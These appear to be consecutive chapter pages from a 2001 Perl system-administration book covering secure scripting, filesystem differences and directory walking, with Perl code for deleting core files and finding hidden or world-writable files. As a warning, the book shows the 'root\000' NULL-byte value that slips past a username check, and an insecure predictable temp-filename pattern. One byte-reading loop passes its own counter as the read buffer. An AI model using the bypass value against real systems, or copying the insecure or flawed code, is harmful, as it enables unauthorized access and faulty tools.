You will also need to add the rights Replace a process level token and in some cases Bypass traverse checking (see the Win32::AdminMisc documentation). Once you have assigned these rights to a user, that user can run Perl scripts with LogonAsUser( ) from David Roth's Win32::AdminMisc module found at http://www.roth.net:

use Win32::AdminMisc;
die "Unable to impersonate $user\n"
    if (!Win32::AdminMisc::LogonAsUser('',$user,$userpw);

Note: there is some danger here, because unlike the previous example, you must pass the password of the user to the LogonAsUser( ) call.

1.6.3. Be Careful When Reading Data

When reading important data like configuration files, test for unsafe conditions first. For instance, you may wish to check that the file and all of the directories that hold the file are not writeable (since that means someone could have tampered with them). There's a good recipe for testing this in Chapter 8 of the Perl Cookbook, by Tom Christiansen and Nathan Torkington (O'Reilly).

The other concern is user input. Never trust that input from a user is palatable. Even if you explicitly print Please answer Y or N:, there is nothing preventing the user from answering with 2049 random characters (either out of spite, malice, or because they stepped away from the keyboard and a two-year-old came over to the keyboard instead).

User input can be the cause of even more subtle trouble. My favorite example is the "Poison NULL Byte" exploit as reported in an article on Perl CGI problems. Be sure to see the whole article (cited in the References section at the end of this chapter). This particular exploit takes advantage of the difference between Perl's handling of a NULL (\000) byte in a string and the handling done by the C libraries on a system. To Perl, there is nothing special about this character. To the libraries, this character is used to indicate the end of a string.

In practical terms, this means that it is possible for a user to evade simple security tests. One example given in the article is that of a password-changing program whose code looks like this:

if ($user ne "root"){ <call the necessary C library routine>}

If $user is set to root\000 (i.e., root followed by a NULL byte) then the above test will succeed. When that string is passed to the underlying library, the string will be treated as just root, and someone will have just walked right past the security check. If not caught, this same exploit will allow access to random files and other resources. The easiest way to avoid being caught by this exploit is to sanitize your input with something like:

$input =~ tr /\000//d;

This is just one example of how user input can get our programs in trouble. Because user input can be so problematic, Perl has a security precaution called "taint mode." See the perlsec manpage that ships with Perl for an excellent discussion of "taintedness" and other security precautions.

1.6.4. Be Careful When Writing Data

If your program can write or append to every single file on the local filesystem, you need to take special care with the how, where, and when it writes data. On Unix systems, this is especially important because symbolic links make file switching and redirection easy. Unless your program is diligent, it may find itself writing to the wrong file or device. There are two classes of programs where this concern comes especially into play.

Programs that append data to a file fall into the first class. The steps your program should take in sequence before appending to a file are:

  1. Check the file's attributes before opening it using stat( ) and the normal file test operators. Make sure it is not a hard or soft link, that it has the appropriate permissions and ownership, etc.

  2. Open the file for appending.

  3. stat( ) the open filehandle.

  4. Compare the values from steps 1 and 3 to be sure that you have an open file handle to the file you intended.

You can see the bigbuffy program in Chapter 9, "Log Files", for sample code that uses this procedure.

Programs that use temporary files or directories are in the second class. You've often seen code like this:

open(TEMPFILE,">/tmp/temp.$$") or die "unable to write /tmp/temp.$$:$!\n";

Unfortunately, that's not sufficiently secure on a multiuser machine. The process ID ($$) sequence on most machines is easily predictable, which means the next temporary filename your script will use is equally predictable. If someone can predict that name, they may be able to get there first and that's usually bad news.

Some operating systems have library calls that will produce a temporary filename using a decent randomization algorithm. To test your operating system, you can run the following code. If the printed names look reasonably random to you, POSIX::tmpnam( ) is a safe bet. If not, you may have to roll your own random filename generation function:

use POSIX qw(tmpnam);
for (1..20){ print POSIX::tmpnam(  ),"\n"; }

Once you have a filename that cannot be guessed, you will need to open it securely:

sysopen(TEMPFILE,$tmpname,O_RDWR|O_CREAT|O_EXCL,0666);

There is a second, easier way to perform these two steps (getting and opening a temporary file). The IO::File->new_tmpfile( ) method from the IO::File module will not only pick a good name (if the system libraries support this), but it will also open the file for you for reading and writing.

Examples of POSIX::tmpnam( ) and IO::File->new_tmpfile( ) along with other information about this topic can be found in Chapter 7 of the Perl Cookbook. Tim Jenness' File::Temp module also attempts to provide secure temporary file operations.

1.6.5. Avoid Race Conditions

Whenever possible, avoid writing code that is susceptible to race condition exploits. The traditional race condition starts with the assumption that the following sequence is valid:

  1. Your program will amass some data.

  2. Your program can then act on that data.

If users can break into this sequence, let's say at step 1.5, and make some key substitutions, they may cause trouble. If they can get your program in step 2 to naively act upon different data than it found in step 1, they have effectively exploited a race condition (i.e., their program won the race to get at the data in question). Other race conditions occur if you do not handle file locking properly.

Race conditions often show up in system administration programs that scan the filesystem as a first pass and then change things in a second pass. Nefarious users may be able to make changes to the filesystem right after the scanner pass so that changes are made to the wrong file. Make sure your code does not leave gaps like this open.

1.6.6. Enjoy

It is important to remember that system administration is fun. Not all the time, and not when you have to deal with the most frustrating of problems, but there's a definite enjoyment to be found. There is a real pleasure in supporting other people and building the infrastructures that make other people's lives better. When the collection of Perl programs you've just written brings other people together for a common purpose, there is joy.

Now that you are ready, let's get to work on those wires.

Previous | Home | Next
1.5. Locating and Installing Modules | Book Index | 1.7. References for More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References for More Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

1.7. References for More Information

http://dwheeler.com/secure-programs/Secure-Programs-HOWTO.html is a HOWTO document for secure programming under Linux, but the concepts and techniques are applicable to other situations as well.

http://www.cs.ucdavis.edu/~bishop/secprog.html contains more good secure programming resources from security expert Matt Bishop.

http://www.homeport.org/~adam/review.html lists security code review guidelines by Adam Shostack.

http://www.dnaco.net/~kragen/security-holes.html is a good paper on how to find security holes (especially in your own code) by Kragen Sitaker.

http://www.shmoo.com/securecode/ offers an excellent collection of articles on how to write secure code.

Perl CGI Problems, by Rain Forrest Puppy (Phrack Magazine, 1999) can be found online at http://www.insecure.org/news/P55-07.txt or from the Phrack archives at http://www.phrack.com/archive.html.

Perl Cookbook, by Tom Christiansen and Nathan Torkington (O'Reilly, 1998) contains many good tips on coding securely.

Previous | Home | Next
1.6. It's Not Easy Being Omnipotent | Book Index | 2. Filesystems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Filesystems (Perl for System Administration)

 Perl for System AdministrationSearch this book

Chapter 2. Filesystems

Contents:

Perl to the Rescue
Filesystem Differences
Walking or Traversing the Filesystem
Walking the Filesystem Using the File::Find Module
Manipulating Disk Quotas
Querying Filesystem Usage
Module Information for This Chapter
References for More Information

2.1. Perl to the Rescue

Laptops fall in slow motion. Or at least that's the way it looked when the laptop I was using to write this book fell off a table onto a hardwood floor. The machine was still in one piece and running when I picked it up. As I checked the laptop to see if anything was damaged, I noticed it started to run slower and slower. Not only that, but the laptop began to make sporadic and disturbing humming-buzzing sounds during disk access. Figuring the software slowdown was caused by a software problem, I shut the laptop down. It did not go gently into the night, refusing to shut down cleanly. This was a bad sign.

Even worse was its reluctance to boot again. It would begin the Windows NT booting process and then fail with a "file not found" error. By now it was clear that the fall had caused some serious physical damage to the hard drive. The heads had probably skidded over the hard drive platter surface, destroying files and directory entries in their wake. Now the question was, "Did any of my files survive? Did the files for this book survive?"

I first tried booting to Linux, the other operating system installed on the laptop. Linux booted fine, an encouraging sign. The files for this book, however, resided on the Windows NT NTFS partition that did not boot. Using Martin von L&#246;wis's Linux NTFS driver, available at http://www.informatik.hu-berlin.de/~loewis/ntfs/ (now shipping with the Linux 2.2 kernels), I mounted the partition and was greeted with what looked like all of my files intact.

My attempts to copy these files off that partition would proceed fine for a while until I reached a certain file. At that point the drive would make those ominous sounds again and the backup would fail. It was clear that if I wanted to rescue my data I was going to have to skip all the damaged files on the disk. The program I was using ( gnutar) had the ability to skip a list of files, but here was the problem: which files? There were over sixteen thousand files on this filesystem at time of impact. How was I going to figure out which files were damaged and which were fine? Clearly running gnutar again and again was not a reasonable strategy. This was a job for Perl!

I'll show you the code I used to solve this problem a little later on in this chapter. For that code to make sense, we'll first need to place it into context by looking at filesystems in general and how we operate on them using Perl.

Previous | Home | Next
1.7. References for More Information | Book Index | 2.2. Filesystem Differences
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Filesystem Differences (Perl for System Administration)

 Perl for System AdministrationSearch this book

2.2. Filesystem Differences

We'll start with a quick review of the native filesystems for each of our target operating systems. Some of this may be old news to you, especially if you have significant experience with a particular operating system. Still, it is worth your while to pay careful attention to the differences between the filesystems (especially the ones you don't know) if you intend to write Perl code that works on multiple platforms.

2.2.1. Unix

All modern Unix variants ship with a native filesystem with semantics that resemble those of their common ancestor, the Berkeley Fast File System. Different vendors have extended their filesystem implementations in different ways (e.g., Solaris adds Access Control Lists for better security, Digital Unix ships a spiffy transaction-based filesystem called advfs, etc.). We'll be writing code aimed at the lowest common denominator to allow it to work across different Unix platforms.

The top, or root, of a Unix filesystem is indicated by a forward slash (/). To uniquely identify a file or directory in a Unix filesystem, we construct a path starting with a slash and then add directories, separating them with forward slashes, as we descend deeper into the filesystem. The final component of this path is the desired directory or filename. Directory and filenames in modern Unix variants are case sensitive. Almost all ASCII characters can be used in these names if you are crafty enough, but sticking to alphanumeric characters and some limited punctuation will save you hassle later.

2.2.2. Microsoft Windows NT/2000

Windows NT (Version 4.0 as of this writing) ships with two supported filesystems: File Allocation Table (FAT) and NT FileSystem (NTFS). Windows 2000 adds FAT32, an improved version of FAT that allows for larger partitions and smaller cluster sizes to the NT family.

Windows NT uses an extended version of the basic FAT filesystems found in DOS. Before we look at the extended version, it is important to understand the foibles of the basic FAT filesystem. In basic or real-mode FAT filesystems, filenames conform to the 8.3 specification. This means that file and directory names can start with no more than eight characters, must have a period (or dot as it is spoken), and are followed by a suffix of up to three characters in length. Unlike Unix, where a period in a filename has no special meaning, basic FAT filesystems can only use a single period as an enforced separator between the filename and its extension or suffix.

Real-mode FAT was later enhanced in a version called VFAT or protected-mode FAT. This is roughly the version that Windows NT and Windows 2000 support. VFAT hides all of the name restrictions from the user. Longer filenames without separators are provided by a very creative hack. VFAT uses a chain of standard file/directory name slots to transparently shoehorn extended filename support into the basic FAT filesystem structure. For compatibility, every file and directory name can still be accessed using a special 8.3-conforming DOS alias. For instance, the directory called Downloaded Program Files is also available as DOWNLO~1.

There are four key differences between a VFAT and a Unix filesystem:

  1. FAT filesystems are case-insensitive. In Unix, an attempt to open a file using the wrong case (i.e., MYFAVORITEFILE versus myfavoritefile) will fail. With FAT or VFAT, this will succeed with no problem.

  2. The second difference is the choice of characters used to separate path components and root designations. Instead of forward slash, FAT uses the backward slash (\) as its path separator. This has a direct ramification for the Perl programmer. The backslash is a quoting character in Perl. Paths written in single quotes with only single separators (i.e., $path='\dir\dir\filename') are just fine. However, situations in which you need to place multiple backslashes next to each other (i.e., \\server\dir\file) are potential trouble. In those cases, you have to be vigilant in doubling any multiple backslashes. Some Perl functions and some Perl modules will accept paths with forward slashes, but this convention should not be counted upon when programming. It is better to bite the bullet and write \\\\winnt\\temp\ than to learn that your code breaks because the conversion hasn't been done for you.

  3. FAT files and directories have special flags associated with them that are called attributes. Example attributes include "Read-only" and "System."

  4. Finally, the last difference is in the root directory specification. The root of a FAT filesystem is specified starting at the drive letter that filesystem lives on. For instance, the absolute path for a file might be specified as c:\home\cindy\docs\resume\current.doc.

FAT32 and NTFS filesystems have the same semantics as VFAT. They share the same support for long filenames and use the same root designator. NTFS is slightly more sophisticated in its name support because it allows these names to be specified using Unicode. Unicode is a multibyte character encoding scheme that can be used to represent all of the characters of all of the written languages on the planet.

NTFS also has some functional differences that distinguish it from the other Windows NT/2000 and basic Unix filesystems. NTFS supports the notion of an Access Control List (ACL). ACLs provide a fine-grained permission mechanism for file and directory access. Later on in this chapter we will write some code to take advantage of some of these differences.

Before we move on to another operating system, it is important to at least mention the Universal Naming Convention. UNC is a convention for locating things (files and directories in our case) in a networked environment. Instead of the drive letter and a colon preceding an absolute path, the drive letter: part is replaced with \\server\sharename. This convention suffers from the same Perl backslash syntax clash we saw a moment ago. As a result, it is not uncommon to see a set of leaning toothpicks like this:

$path = "\\\\server\\sharename\\directory\\file"

2.2.3. MacOS

Despite its GUI-centrist approach, the MacOS Hierarchical File System (HFS) also lets users specify textual pathnames, albeit with a few twists. Absolute pathnames are specified using the following form: Drive/Volume Name:Folder:Folder:Folder:FileName. A specification with no colons refers to a file in the current directory.

Unlike the two previous operating systems, HFS paths are considered absolute if they do not begin with their path separator (:). An HFS path that begins with a colon is a relative path. One subtle difference that sets MacOS paths apart from the other operating systems is the number of separators you need to use when pointing to objects higher up in the directory hierarchy. For instance, under Unix, you would use .. /.. /.. /FileName to get to a file three levels higher than the current directory. Under MacOS, you would use four separators (i.e., ::::FileName), because you must include a reference to the current directory in addition to the three previous levels.

File and directory names are limited to 31 characters under HFS. As of MacOS Version 8.1, an alternative volume format called MacOS Extended Format or HFS+ was introduced to allow for 255 Unicode character filenames. Although the HFS+ filesystem allows these long names, MacOS does not yet support them as of this writing.

A more significant departure from the previous two operating systems (at least from a Perl programming point of view) is MacOS's use of the "fork" idiom for its file storage. Each file is said to have a data fork and a resource fork. The former holds the data part of the file, while the latter contains a variety of different resources. These resources can include executable code (in the case of a program), user interface specifications (dialog boxes, fonts, etc.), or any other components a programmer wishes to define. Though we won't be dealing with forks per se this chapter, MacPerl does have facilities for reading and writing to both forks.

TIP

The core Perl operators and functions operate on the data fork only in MacPerl. For example, the -s operator returns only the data fork's size of a file. You will need to use some of the bundled Macintosh Toolbox modules if you wish to access a file's resource fork.

Each file in the HFS filesystem also has two special tags, creator and type, that allow the OS to identify which application created that file and what kind of file it is purported to be. These tags play the same role as extensions used in the FAT filesystem (e.g., .doc or .exe). Later in this chapter we'll briefly show how to use the type/creator tags to your advantage.

2.2.4. Filesystem Differences Summary

Table 2-1 summarizes all of the differences we just discussed along with a few more items of interest.

Table 2.1. Filesystem Comparison

OS and Filesystem | Path separator | Case-Sensitive? | Filename Specification Length | Absolute Path Format | Relative Path Format | Unique Features
Unix (Berkeley Fast File System and others) | / | Y | OS-dependent number of chars | /dir/file | dir/file | OS-variant-dependent additions
MacOS (HFS) | : | Y | 31 chars (or 255 if using HFS+) | volume:dir:file | :dir:file | Data/resource forks, creator/type attributes
WinNT/2000 (NTFS) | \ | N | 255 chars | Drive:\dir\file | dir\file | ACLs, attributes, Unicode names
DOS (BASIC FAT) | \ | N | 8.3 | Drive:\dir\file | dir\file | Attributes

2.2.5. Dealing with Filesystem Differences from Perl

Perl can help you write code that takes most of these filesystem quirks into account. It ships with a module called File::Spec to hide some of the differences between the filesystems. For instance, if we pass in the components of a path to the catfile method like so:

use File::Spec;

$path = File::Spec->catfile("home","cindy","docs","resume.doc");

then $path is set to home\cindy\docs\resume.doc on a Windows NT/2000 system, while on a Unix system it becomes home/cindy/docs/resume.doc, and so on. File::Spec also has methods like curdir and updir that return the punctuation necessary to describe the current and parent directories (e.g., "." and ".."). The methods in this module give you an abstract way to construct and manipulate your path specifications. If you'd prefer not to have to write your code using an object-oriented syntax, the module File::Spec::Functions provides a more direct route to the methods found in File::Spec.

Previous | Home | Next
2.1. Perl to the Rescue | Book Index | 2.3. Walking or Traversing the Filesystem
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Walking or Traversing the Filesystem (Perl for System Administration)

 Perl for System AdministrationSearch this book

2.3. Walking or Traversing the Filesystem

By now you are probably itching to get to some practical applications of Perl. We'll begin by examining the process of "walking the filesystem," one of the most common system administration tasks associated with filesystems. Typically this entails searching an entire set of directory trees and taking action based on the files or directories we find. Each OS provides a tool for this task. Under Unix it is the find command, under NT and Windows 2000 it is Find Files or Folders or Search For Files or Folders, and in MacOS it is Find File or Sherlock. All of these commands are useful for searching, but they lack the power by themselves to perform arbitrary and complex operations as they encounter their desired search targets. We're going to see how Perl allows us to write more sophisticated file walking code beginning with the very basics and ratcheting up the complexity as we go on.

To get started, let's take a common scenario that provides a clear problem for us to solve. In this scenario, we're a Unix system administrator with overflowing user filesystems and an empty budget. (Unix is being picked on first, but the other operating systems will get their turns in a moment.)

We can't add more disk space without any money, so we've got to make better use of our existing resources. Our first step is to remove all the files on our filesystems that can be eliminated. Under Unix, good candidates for elimination are the core files left around by programs that have died nasty deaths. Most users either do not notice that these files are created, or just ignore them in their directory, leaving large amounts of disk space claimed for no reason. We need something to search through a filesystem and delete these varmints.

To walk a filesystem, we start by reading the contents of a single directory and work our way down from there. Let's ease into the process and begin with code that examines the contents of the current directory and reports on either a core file or another directory to be searched.

We start by opening the directory using roughly the same syntax used for opening a file. If the open fails, we exit the program and print the error message set by the opendir( ) call ($!):

opendir(DIR,".") or die "Can't open the current directory: $!\n";

This provides us with a directory handle, DIR in this case, which we can pass to readdir( ) to get a list of all of the files and directories in the current directory. If readdir( ) can't read that directory, our code prints an error message (which hopefully explains why it failed) and the program exits:

# read file/directory names in that directory into @names
@names = readdir(DIR) or die "Unable to read current dir:$!\n";

We then close the open directory handle:

closedir(DIR);

Now we can work with those names:

foreach $name (@names) {
   next if ($name eq ".");   # skip the current directory entry
   next if ($name eq "..");  # skip the parent  directory entry

   if (-d $name){            # is this a directory?
      print "found a directory: $name\n";
      next;                  # can skip to the next name in the for loop
   }
   if ($name eq "core") {    # is this a file named "core"?
     print "found one!\n";
  }
}

Now we have some very simple code that scans a single directory. This isn't even "crawling" a filesystem, never mind walking it. To walk the filesystem we'll have enter all of the directories we find as we scan and look at their contents as well. If these subdirectories have subdirectories, we'll need to check them out also.

Whenever you have a hierarchy of containers and an operation that gets performed the exact same way on every container and subcontainer in that hierarchy, this calls out for a recursive solution (at least to computer science majors). As long as the hierarchy is not too deep and doesn't loop back upon itself (i.e., all containers hold only their immediate children and do not reference some other part of the hierarchy), recursive solutions tend to make the most sense. This is the case with our example; we're going to be scanning a directory, all of its subdirectories, all of their subdirectories, and so on.

If you've never seen recursive code (i.e., code that calls itself), you may find it a bit strange at first. Recursive code is a bit like the process of painting a set of the Matreskha nesting Russian dolls. These are the dolls that contain another smaller doll of the exact same shape, that contains another doll, and so on until you get to a very small doll in the center.

A recipe for painting these dolls might go something like this:

  1. Examine the doll in front of you. Does it contain a smaller doll? If so, remove the contents and set aside the outer doll.

  2. Repeat step 1 with the contents you just removed until you reach the center.

  3. Paint the center doll. When it is dry, put it back in its container and repeat step 3 with the next container.

The process is the same every step of the way. If the thing in your hand has sub-things, put off dealing with what you have in hand and deal with the sub-things first. If the thing you have in your hand doesn't have sub-things, do something with it, and then return to the last thing you put off.

In coding terms, this typically consists of a subroutine that deals with containers. It first looks to see if the current container has subcontainers. If it does, it calls itself to deal with the subcontainer. If it doesn't, it performs some operation and returns back from whoever called it. If you haven't seen code that calls itself, I recommend sitting down with a paper and a pencil and tracing the program flow until you are convinced it actually works.

Let's see some recursive code. To make our code recursive, we first encapsulate the operation of scanning a directory and acting upon its contents in a subroutine called ScanDirectory( ). ScanDirectory( ) takes a single argument, the directory it is supposed to scan. It figures out its current directory, enters the requested directory, and scans it. When it has completed this scan, it returns to the directory it was called from. Here's the new code:

#!/usr/bin/perl -s

# note the use of -s for switch processing. Under NT/2000, you will need to
# call this script explicitly with -s (i.e., perl -s script) if you do not
# have perl file associations in place.
# -s is also considered 'retro', many programmers prefer to load
# a separate module (from the Getopt:: family) for switch parsing.

use Cwd; # module for finding the current working directory

# This subroutine takes the name of a directory and recursively scans
# down the filesystem from that point looking for files named "core"
sub ScanDirectory{
    my ($workdir) = shift;

    my ($startdir) = &cwd; # keep track of where we began

    chdir($workdir) or die "Unable to enter dir $workdir:$!\n";
    opendir(DIR, ".") or die "Unable to open $workdir:$!\n";
    my @names = readdir(DIR) or die "Unable to read $workdir:$!\n";
    closedir(DIR);

    foreach my $name (@names){
        next if ($name eq ".");
        next if ($name eq "..");

        if (-d $name){                  # is this a directory?
            &ScanDirectory($name);
            next;
        }
        if ($name eq "core") {          # is this a file named "core"?
            # if -r specified on command line, actually delete the file
            if (defined $r){
                 unlink($name) or die "Unable to delete $name:$!\n";
            }
            else {
                print "found one in $workdir!\n";
            }
        }
        chdir($startdir) or
           die "Unable to change to dir $startdir:$!\n";
    }
}

&ScanDirectory(".");

The most important change from the previous example is our code's behavior when it finds a subdirectory in the directory it has been requested to scan. If it finds a directory, instead of printing "found a directory!" as our previous sample did, it recursively calls itself to examine that directory first. Once that entire subdirectory has been scanned (i.e., the call to ScanDirectory( ) returns), it returns to looking at the rest of the contents of the current directory.

To make our code fully functional as a core file-destroyer, we've also added file deletion functionality to it. Pay attention to how that code is written: it will only delete files if the script is started with a certain command-line switch, -r (for remove).

We're using Perl's built-in -s switch for automatic option parsing as part of the invocation line (#!/usr/bin/perl -s). This is the simplest way to parse command-line options; for more sophistication, we'd probably use something from the Getopt module family. If a command-line switch is present (e.g., -r) then a global scalar variable with the same name (e.g., $r) is set when the script is run. In our code, if Perl is not invoked with -r, we revert to the past behavior of just announcing that we found a core file.

WARNING

When you write automatic tools, make destructive actions harder to perform. Take heed: Perl, like most powerful languages, allows you to nuke your filesystem without breaking a sweat.

Now, lest the NT/2000-focused readers think the previous example didn't apply to them, let me point out this code could be useful for them as well. A single line change from:

if ($name eq "core") {

to:

if ($name eq "MSCREATE.DIR") {

will create a program that deletes the annoying hidden zero-length files certain Microsoft program installers leave behind.

With this code under our belt, let's return to the quandary that started this chapter. After my laptop kissed the floor, I found myself in desperate need of a way to determine which files could be read off the disk and which files were damaged.

Here's the actual code I used:

use Cwd; # module for finding the current working directory
$|=1;    # turn off I/O buffering

sub ScanDirectory {
    my ($workdir) = shift;

    my($startdir) = &cwd; # keep track of where we began

    chdir($workdir) or die "Unable to enter dir $workdir:$!\n";

    opendir(DIR, ".") or die "Unable to open $workdir:$!\n";
    my @names = readdir(DIR);
    closedir(DIR);

    foreach my $name (@names){
        next if ($name eq ".");
        next if ($name eq "..");

        if (-d $name){                     # is this a directory?
            &ScanDirectory($name);
            next;
        }
        unless (&CheckFile($name)){
            print &cwd."/".$name."\n"; # print the bad filename
        }
    }
    chdir($startdir) or die "Unable to change to dir $startdir:$!\n";
}

sub CheckFile{
    my($name) = shift;

    print STDERR "Scanning ". &cwd."/".$name."\n";
    # attempt to read the directory entry for this file
    my @stat = stat($name);
    if (!$stat[4] && !$stat[5] && !$stat[6] && !$stat[7] && !$stat[8]){
        return 0;
    }
    # attempt to open this file
    unless (open(T,"$name")){
        return 0;
    }
    # read the file one byte at a time
    for (my $i=0;$i< $stat[7];$i++){
        my $r=sysread(T,$i,1);
        if ($r !=1) {
            close(T);
            return 0;
        }
    }
    close(T);
    return 1;
}

&ScanDirectory(".");

The difference between this code and our last example is the addition of a subroutine to check each file encountered. For every file, we use the stat function to see if we can read that file's directory information (e.g., its size). If we can't, we know the file is damaged. If we can read the directory information, we attempt to open the file. And for a final test, we attempt to read every single byte of the file. This doesn't guarantee that the file hasn't been damaged (the contents could have been modified) but it does at least show that the file is readable.

You may wonder why we use an esoteric function like sysread( ) to read the file instead of using < > or read( ), Perl's usual file reading operator and function. sysread( ) gives us the ability to read the file byte-by-byte without any of the usual buffering. If a file is damaged at location X, we don't want to waste time waiting for the standard library routines to attempt to read the bytes at location X+1, X+2, X+3, etc., as part of their usual pre-fetch. We want the code to quit trying to read the file immediately. In general, you really want file reads to fetch whole chunks at a time for performance sake, but here that's undesirable because it means the laptop would spend long prolonged periods of time making awful noises every time it found a damaged file.

Now that you've seen the code I used, let me offer some closure to this story. After the script you just saw ran all night long (literally), it found 95 bad files out of 16,000 total. Fortunately, none of those files were files from the book you are now reading; I backed up the good files and moved them. Perl saved the day.

Previous | Home | Next
2.2. Filesystem Differences | Book Index | 2.4. Walking the Filesystem Using the File::Find Module
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Walking the Filesystem Using the File::Find Module (Perl for System Administration)

 Perl for System AdministrationSearch this book

2.4. Walking the Filesystem Using the File::Find Module

Now that we've seen the basics of filesystem walking, here's a faster and spiffier way to do it. Perl comes with a module called File::Find that allows Perl to emulate the Unix find command. The easiest way to begin using this module is to use the find2perl command to generate prototypical Perl code for you.

TIP

find2perl is not always easy to use on non-Unix Perl ports. For example, MacOS users either will need Macintosh Programmer's Workshop (MPW) to run it, or should modify the code to take @ARGV from a dialog box. Here's a code snippet from Chris Nandor, co-author of MacPerl: Power and Ease, to do this:

@ARGV = @ARGV ? @ARGV : split "\s", MacPerl::Ask("Arguments?");

All ports do have the File::Findmodule that find2perl and find.pl use, so this should not be a real problem. We'll show you how to call it directly later in this chapter.

For instance, let's say you need some code to search the /home directory for files named beesknees. The command line that uses the Unix find command is:

% find /home -name beesknees -print

Feed the same options to find2perl:

% find2perl /home -name beesknees -print

and it produces:

#!/usr/bin/perl
    eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
        if $running_under_some_shell;

require "find.pl";

# Traverse desired filesystems

&find('/home');

exit;

sub wanted {
    /^beesknees$/ && print("$name\n");
}

The find2perl-generated code is fairly straightforward. It loads in the necessary find.pl library with a require statement, then calls the subroutine &find( ) with the name of the starting directory. We'll discuss the purpose of the &wanted( ) subroutine in a moment, since that's where all of the interesting modifications we're about to explore will live.

Before we begin our modifications of this code, it's important to note a few things that may not be obvious just by looking at the sample output above:

  • The folks who have worked on the File::Find module have gone to considerable trouble to make this module portable across platforms. File::Find's internal routines work behind the scenes so the same Perl code for filesystem walking works for Unix, MacOS, NT, VMS, and so on.

  • Though the code find2perl generates looks like Perl Version 4 code on the surface (for example, it uses require to load a .pl file), find.pl actually sets up some Perl Version 5 aliases for the user. In general, it is useful to look under the hood whenever you use a module in your code. If you need to find the Perl source for a module already installed on your system, running either perl -V or the following code will show you the standard library directories for your installation:

%perl -e 'print join("\n",@INC,"")'

Let's talk about the &wanted( ) subroutine that we will modify for our own purposes. The &wanted( ) subroutine gets called with the current file or directory name by &find( ) (&File::Find::find( ) to be precise) once for every file or directory encountered during its filesystem walk. It's up to the code in &wanted( ) to select the "interesting" files or directories and operate on them accordingly. In the sample output above, it first checks to see if the file or directory name matches the string beesknees. If it matches, the && operator causes Perl to execute the print statement to print the name of the file that was found.

We'll have to address two practical concerns when we create our own &wanted( ) subroutines. Since &wanted( ) is called once per file or directory name, it is important to make the code in this subroutine short and sweet. The sooner we can exit the &wanted( ) subroutine, the faster the find routine can proceed with the next file or directory, and the speedier the overall program will run. It is also important to keep in mind the behind-the-scenes portability concerns we mentioned a moment ago. It would be a shame to have a portable &find( ) call an OS-specific &wanted( ) subroutine unless this is unavoidable. Looking at the source code for the File::Find module may offer some hints on how to avoid this situation.

For our first use of File::Find, let's rewrite our previous core-destroyer example and then extend it a bit. First we type:

% find2perl -name core -print

which gives us:

require "find.pl";

# Traverse desired filesystems

&find('.');

exit;

sub wanted {
    /^core$/ && print("$name\n");
}

Then we add -s to the Perl invocation line and modify the &wanted( ) subroutine:

sub wanted {
   /^core$/ && print("$name\n") && defined $r && unlink($name);
}

This gives us the desired deletion functionality when the user invokes the program with -r. Here's a tweak that adds another measure of protection to our potentially destructive code:

sub wanted {
   /^core$/ && -s $name && print("$name\n") &&
               defined $r && unlink($name);
}

It checks any file called core to see if it is a non-zero length file before printing the name or contemplating deletion. Sophisticated users sometimes create a link to /dev/null named core in their home directory to prevent inadvertent core dumps from being stored in that directory. The -s test makes sure we don't delete links or zero-length files by mistake. If we wanted to be even more diligent, we should probably make two additional checks:

  1. Open and examine the file to confirm that it is an actual core file, either from within Perl or by calling the Unix file command. Determining whether a file is an authentic core dump file can be tricky when you have filesystems remotely mounted over a network by machines of different architectures, all with different core file formats.

  2. Look at the modification date of the file. If someone is actively debugging a program that has core dumped, she may not be happy if you delete the core file out from under her.

Let's take a break from the Unix world for a bit and look at Mac- and NT/2000-specific examples. Earlier in this chapter I mentioned that every file in a MacOS HFS filesystem has two attributes, creator and type, that allow the OS to determine which application created it and what kind of file it is. These attributes are stored as four-character strings. For instance, a text document created by SimpleText would be listed with creator ttxt and type TEXT. From Perl (MacPerl only) we can get at this information through the MacPerl::GetFileInfo( ) function. The syntax is:

$type = MacPerl::GetFileInfo(filename);

or:

($creator,$type) = MacPerl::GetFileInfo(filename);

To find all of the text files in a MacOS filesystem, we can do the following:

use File::Find;

&File::Find::find(\&wanted,"Macintosh HD:");

sub wanted{
  -f $_ && MacPerl::GetFileInfo($_) eq "TEXT" &&
           print "$Find::File::name\n";
}

You might notice it looks a little different from our previous examples. However, it is functionally equivalent. We're just calling the File::Find routines directly without the find.pl shim. We're also using the variable $name defined in the File::Find namespace to print the absolute path of the file, rather than just printing the filename itself. Table 2-2 shows the complete list of variables defined by File::Find as it walks a filesystem.

Table 2.2. File::Find Variables

Variable Name

Meaning

$_

Current filename

$File::Find::dir

Current directory name

$File::Find::name

Full path of current filename (i.e., $File::Find::dir/$_)

Here's a similar NT/2000-specific example:

use File::Find;
use Win32::File;

&File::Find::find(\&wanted,"\\");

sub wanted{
  -f $_ &&
    # attr will be populated by Win32::File::GetAttributes function
    (Win32::File::GetAttributes($_,$attr)) &&
    ($attr & HIDDEN) &&
     print "$File::Find::name\n";
}

This example searches the entire filesystem of the current drive for hidden files (i.e., those with the HIDDEN attribute set). This example works on both NTFS and FAT filesystems.

Here's an NTFS-specific example that will look for all files that have Full Access enabled for the special group Everyone and print their names:

use File::Find;
use Win32::FileSecurity;

# determine the DACL mask for Full Access
$fullmask = Win32::FileSecurity::MakeMask(FULL);

&find(\&wanted,"\\");

sub wanted {
    # Win32::FileSecurity::Get does not like the paging file, skip it
    next if ($_ eq "pagefile.sys");
    (-f $_) &&
        Win32::FileSecurity::Get($_, \%users) &&
        (defined $users{"Everyone"}) &&
        ($users{"Everyone"} == $fullmask) &&
         print "$File::Find::name\n";
}

In the above code, we query the Access Control List for all files (except for the Windows NT paging file). We then check if that list includes an entry for the group Everyone. If it does, we compare the Everyone entry to the value for Full Access (computed by MakeMask( )), printing the absolute path of the file when we find a match.

Here is another real life example of how useful even simple code can be. I recently attempted to defragment the (newly rebuilt) NT partition on my laptop when the software reported Metadata Corruption Error. Perusing the web site of the vendor who makes the defragmentation software, I encountered a tech support note that suggested, "This situation can be caused by a long filename which contains more characters than is legal under Windows NT." It then suggested locating this file by copying each folder to a new location, comparing the number of files in the copy to the original, and if the copied folder has fewer files, then identifying which file in the original folder did not get copied to the new location.

